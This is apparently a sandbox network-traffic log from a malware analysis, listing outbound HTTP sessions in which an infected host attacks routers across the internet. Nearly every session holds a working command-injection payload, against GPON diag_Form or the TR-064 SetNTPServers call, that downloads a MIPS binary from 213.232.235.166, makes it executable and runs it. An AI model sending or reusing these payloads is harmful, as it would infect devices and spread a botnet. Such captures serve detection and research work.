Apr 15, 2024 08:53:21.912668943 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.571872950 CEST	64	IN	HTTP/1.1 400 Bad Request Connection: Keep-Alive
Apr 15, 2024 08:53:22.571943998 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.13	56800	165.51.2.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.922295094 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:22.294989109 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:53:22 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.13	49866	198.147.255.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.923815966 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.13	58234	20.85.188.165	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.946994066 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.166245937 CEST	292	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:22 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.13	49084	47.204.2.236	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.972671986 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.13	44370	31.45.203.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.981347084 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.13	53620	172.76.84.173	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.002739906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.13	60194	82.129.104.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.089955091 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.13	44946	118.52.71.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.151484013 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.13	44394	31.45.203.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.338829994 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.13	44874	118.52.71.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.562949896 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.13	50698	112.161.210.106	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.565646887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.13	49038	148.231.204.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.660790920 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:23.520407915 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:24.512397051 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:26.464431047 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:30.464423895 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.400388956 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:54.016376019 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.13	37010	50.112.163.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.674684048 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.852579117 CEST	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:22 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.13	35044	69.80.41.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.842761040 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.123989105 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:20 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.13	49072	183.106.91.221	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.844805002 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.13	44962	118.52.71.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:22.855381012 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.13	50790	112.161.210.106	7547

Timestamp	Bytes transferred	Direction	Data
